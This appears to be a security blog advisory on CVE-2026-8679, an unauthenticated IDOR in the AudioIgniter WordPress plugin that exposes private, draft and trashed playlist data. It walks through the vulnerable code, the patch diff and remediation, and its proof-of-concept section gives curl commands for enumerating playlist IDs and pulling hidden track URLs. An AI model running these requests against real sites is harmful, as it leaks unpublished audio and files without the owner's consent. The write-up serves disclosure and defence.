CVE-2026-8679: AudioIgniter IDOR Exposes Private Playlist Data (CVSS 7.5)
Table of Contents
CVE-2026-8679 is a CVSS 7.5 (High) Unauthenticated Insecure Direct Object Reference (IDOR) vulnerability in the AudioIgniter Music Player WordPress plugin. An unauthenticated attacker can request full track metadata — audio URLs, download links, artist names, and cover images — for any playlist on the site, including those in draft, private, pending, or trash status. All versions up to and including 2.0.2 are affected. Version 2.0.3 contains the fix.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | AudioIgniter Music Player |
| Plugin Slug | audioigniter |
| CVE ID | CVE-2026-8679 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Vulnerability Type | Unauthenticated Insecure Direct Object Reference |
| Affected Versions | <= 2.0.2 |
| Patched Version | 2.0.3 |
| Published | May 21, 2026 |
| Researchers | nudien udin, nudien |
| Wordfence Advisory | Link |
Description
The AudioIgniter Music Player plugin registers a public JSON endpoint so its React-based player can fetch track data. This endpoint accepts a user-supplied playlist ID through the audioigniter_playlist_id query parameter or the /audioigniter/playlist/{id}/ URL rewrite rule. In versions up to and including 2.0.2, the handler that serves this endpoint checks only that the requested post is an AudioIgniter playlist — it does not check whether the caller is authenticated, whether the caller has permission to read the post, or whether the playlist has a public status.
Because of this, any visitor can supply any valid post ID and receive the full track listing for that playlist — even if the site owner has saved it as a draft, set it to private, put it in a pending review queue, or moved it to trash.
Technical Analysis
Hook Registration and Endpoint Setup
The plugin registers the endpoint in two places. First, register_playlist_endpoint() adds a WordPress rewrite tag and rule:
// audioigniter.php — Line 1255–1258 (version 2.0.2)
public function register_playlist_endpoint() {
add_rewrite_tag( '%audioigniter_playlist_id%', '([0-9]+)' );
add_rewrite_rule( '^audioigniter/playlist/([0-9]+)/?', 'index.php?audioigniter_playlist_id=$matches[1]', 'bottom' );
}
Second, when a page loads, the player widget outputs the endpoint URL directly in the HTML markup via data-tracks-url:
// audioigniter.php — Line 1171 (version 2.0.2)
'data-tracks-url' => add_query_arg( array( 'audioigniter_playlist_id' => $post_id ), home_url( '/' ) ),
This means any public page that embeds a playlist player leaks the exact endpoint URL for that playlist — including the playlist’s post ID — inside the rendered HTML.
The Vulnerable Handler
The handle_playlist_endpoint() function is hooked to template_redirect, which runs on every front-end page load. When WordPress detects the audioigniter_playlist_id query var, the function runs and returns track data:
// audioigniter.php — Lines 1260–1316 (version 2.0.2)
public function handle_playlist_endpoint() {
global $wp_query;
$playlist_id = $wp_query->get( 'audioigniter_playlist_id' );
if ( empty( $playlist_id ) ) {
return;
}
$playlist_id = intval( $playlist_id );
$post = get_post( $playlist_id );
// ⚠️ Only checks post_type — no auth check, no capability check, no post_status check
if ( empty( $post ) || $post->post_type !== $this->post_type ) {
wp_send_json_error( __( "ID doesn't match a playlist", 'audioigniter' ) );
}
$response = array();
$tracks = $this->get_post_meta( $playlist_id, '_audioigniter_tracks', array() );
foreach ( $tracks as $track ) {
$track_response['title'] = $track['title'];
$track_response['subtitle'] = $track['artist'];
$track_response['audio'] = $track['track_url'];
$track_response['buyUrl'] = $track['buy_link'];
$track_response['downloadUrl'] = ...; // direct file URL
$track_response['cover'] = $cover_url;
$response[] = $track_response;
}
wp_send_json( $response ); // Returns full JSON to any caller
}
Root Cause
The root cause is a missing access control check. The function validates only $post->post_type, which confirms the post is an AudioIgniter playlist. It does not call is_user_logged_in(), current_user_can(), or check $post->post_status. Any integer ID that resolves to a playlist post — regardless of status — returns a complete JSON payload with all track data.
What the Attacker Receives
A successful exploit returns a JSON array. Each object contains:
title— track titlesubtitle— artist nameaudio— direct URL to the audio filebuyUrl— external purchase linkdownloadUrl— direct URL to the downloadable filedownloadFilename— the filename of the downloadcover— URL to the cover image
This is the same data the player uses in production. An attacker who obtains these URLs can stream or download audio files that the site owner intended to keep private.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive purposes only. Only test against systems you own or have written permission to test.
Prerequisites: AudioIgniter Music Player version <= 2.0.2 installed and activated. At least one playlist exists in any non-published status (draft, private, pending, or trash).
Step 1 — Identify a playlist ID.
You can enumerate post IDs by incrementing integers. Alternatively, any page that embeds a published playlist player exposes the ID in the HTML source — look for data-tracks-url:
# Find the endpoint URL embedded in a page's source
curl -s "https://example.com/some-page/" | grep -o 'audioigniter_playlist_id=[0-9]*'
Once you know one published playlist ID, you can guess nearby IDs to find drafts or private playlists.
Step 2 — Request a draft or private playlist.
Replace <ID> with the target playlist’s post ID:
# Using the query parameter form
curl -s "https://example.com/?audioigniter_playlist_id=<ID>"
# Using the pretty URL rewrite rule
curl -s "https://example.com/audioigniter/playlist/<ID>/"
Step 3 — Observe the response.
A successful exploit returns a JSON array of track objects, for example:
[
{
"title": "Unreleased Track",
"subtitle": "Artist Name",
"audio": "https://example.com/wp-content/uploads/unreleased.mp3",
"buyUrl": "https://shop.example.com/buy",
"downloadUrl": "https://example.com/wp-content/uploads/unreleased.mp3",
"downloadFilename": "unreleased.mp3",
"cover": "https://example.com/wp-content/uploads/cover.jpg"
}
]
The attacker now has a direct link to stream or download the audio file from a playlist the site owner never published.
Verification: Confirm the targeted playlist is in draft or private status from the WordPress admin (/wp-admin/edit.php?post_type=ai_playlist) and compare the returned track data.
Patch Analysis
Version 2.0.3 adds two access-control checks immediately after the existing post type check in handle_playlist_endpoint():
// audioigniter.php — Lines 1273–1285 (patched diff)
if ( empty( $post ) || $post->post_type !== $this->post_type ) {
wp_send_json_error( __( "ID doesn't match a playlist", 'audioigniter' ) );
}
+if ( ( ! is_user_logged_in() && 'publish' !== $post->post_status ) ||
+ ( is_user_logged_in() && ! current_user_can( 'read_post', $playlist_id ) )
+) {
+ wp_send_json_error( __( 'Sorry, you are not allowed to access this playlist.', 'audioigniter' ) );
+}
The logic is:
- For unauthenticated visitors: only playlists with
post_status === 'publish'are served. Any other status (draft, private, pending, trash) results in a JSON error. - For logged-in users: the WordPress capability
read_postis checked for the specific playlist ID. This respects WordPress’s built-in access control — only users who can legitimately read the post receive the data.
The patch also adds equivalent protection in the shortcode handler, which renders the player widget:
+if ( $post->post_status == 'trash' ||
+ ( ! is_user_logged_in() && 'publish' !== $post->post_status ) ||
+ ( is_user_logged_in() && ! current_user_can( 'read_post', $id ) ) ) {
+ return '';
+}
This prevents the player from even rendering — and therefore from leaking the endpoint URL — for playlists the current user should not see.
The fix addresses the root cause. Before the patch, any playlist ID returned data. After the patch, the endpoint enforces the same visibility rules that WordPress applies to posts everywhere else on the site.
Timeline
| Date | Event |
|---|---|
| May 21, 2026 | Wordfence publicly published the advisory |
| May 22, 2026 | Advisory last updated |
| May 24, 2026 | This blog post published |
Remediation
Update AudioIgniter Music Player to version 2.0.3 or later immediately. You can update from the WordPress admin under Plugins → Installed Plugins, or download the latest version from wordpress.org/plugins/audioigniter.
If you cannot update right away, consider temporarily deactivating the plugin to stop the endpoint from responding. Do not rely on obscurity — playlist IDs are easily guessable by incrementing integers, and some are already embedded in public page source.
References
- Wordfence Advisory — CVE-2026-8679
- CVE Record — CVE-2026-8679
- Vulnerable code — audioigniter.php#L1315
- Vulnerable code — audioigniter.php#L1263
- Vulnerable code — audioigniter.php#L1257
- GitHub patch commit
- AudioIgniter Music Player on WordPress.org
Frequently Asked Questions
What is CVE-2026-8679?
CVE-2026-8679 is a CVSS 7.5 High severity Unauthenticated Insecure Direct Object Reference vulnerability in the AudioIgniter Music Player WordPress plugin. Any unauthenticated visitor can read the full track metadata of any playlist — including private, draft, pending, or trashed playlists — by supplying a playlist ID.
Which versions of AudioIgniter Music Player are affected by CVE-2026-8679?
All versions up to and including 2.0.2 are affected. Version 2.0.3 contains the fix.
What can an attacker do with CVE-2026-8679?
An attacker can read track titles, artist names, direct audio file URLs, buy links, download URLs, and cover images for any playlist — even those the site owner has kept private, in draft, pending, or trash status.
Does an attacker need to be logged in to exploit CVE-2026-8679?
No. Any visitor — without an account — can exploit this vulnerability by sending a single HTTP request with a playlist ID.
How do I fix CVE-2026-8679 in AudioIgniter Music Player?
Update AudioIgniter Music Player to version 2.0.3 or later from the WordPress admin dashboard or wordpress.org.
Has AudioIgniter Music Player been patched for CVE-2026-8679?
Yes. Version 2.0.3 was released and resolves this vulnerability by adding post status and capability checks to the playlist data endpoint.